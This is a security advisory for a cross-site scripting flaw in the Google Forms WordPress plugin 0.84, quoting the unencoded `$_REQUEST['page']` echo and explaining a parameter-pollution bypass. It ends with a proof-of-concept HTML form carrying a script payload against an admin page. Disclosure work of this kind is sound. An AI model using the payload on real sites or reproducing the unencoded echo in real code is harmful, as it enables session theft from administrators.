Abstract
A Cross-Site Scripting vulnerability was found in the Google Forms WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.
OVE ID
OVE-20160712-0021
Tested versions
This issue was successfully tested on Google Forms WordPress Plugin version 0.84.
Fix
This issue is resolved in Google Forms version 0.85.
Introduction
The Google Forms WordPress Plugin embeds a published, public Google Form in a WordPress post, page, or widget. A Cross-Site Scripting vulnerability was found in the Google Forms WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.
Details
The issue exists in the file wpgform-logging.php and is caused by the lack of output encoding on the page request parameter. The vulnerable code is listed below.
<form id="wpgform-log-entries-filter" method="get">
<!-- For plugins, we also need to ensure that the form posts back to our current page -->
<input type="hidden" name="post_type" value="<?php echo WPGFORM_CPT_FORM ?>" />
<input type="hidden" name="page" value="<?php **echo $_REQUEST['page']** ?>" />
<input type="hidden" name="_wp_http_referer" value="<?php echo admin_url('edit.php?post_type=' . WPGFORM_CPT_FORM . '&page=wpgform-entry-log-page' ); ?>" />
<!-- Now we can render the completed list table -->
<?php //$wpgformListTable->search_box(__('Search', WPGFORM_I18N_DOMAIN), 'search_id'); ?>
<?php $wpgformListTable->display() ; ?>
</form>
Normally, the page URL parameter is validated by WordPress, which prevents Cross-Site Scripting. However in this case the value of page is obtained from $_REQUEST, not from $_GET. This allows for parameter pollution where the attacker puts a benign page value in the URL and simultaneously submits a malicious page value as POST parameter.
Proof of concept
<html>
<body>
<form action="http://<target>/wp-admin/edit.php?post_type=wpgform&page=wpgform-entry-log-page" method="POST">
<input type="hidden" name="page" value=""<script>alert(document.cookie);</script>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>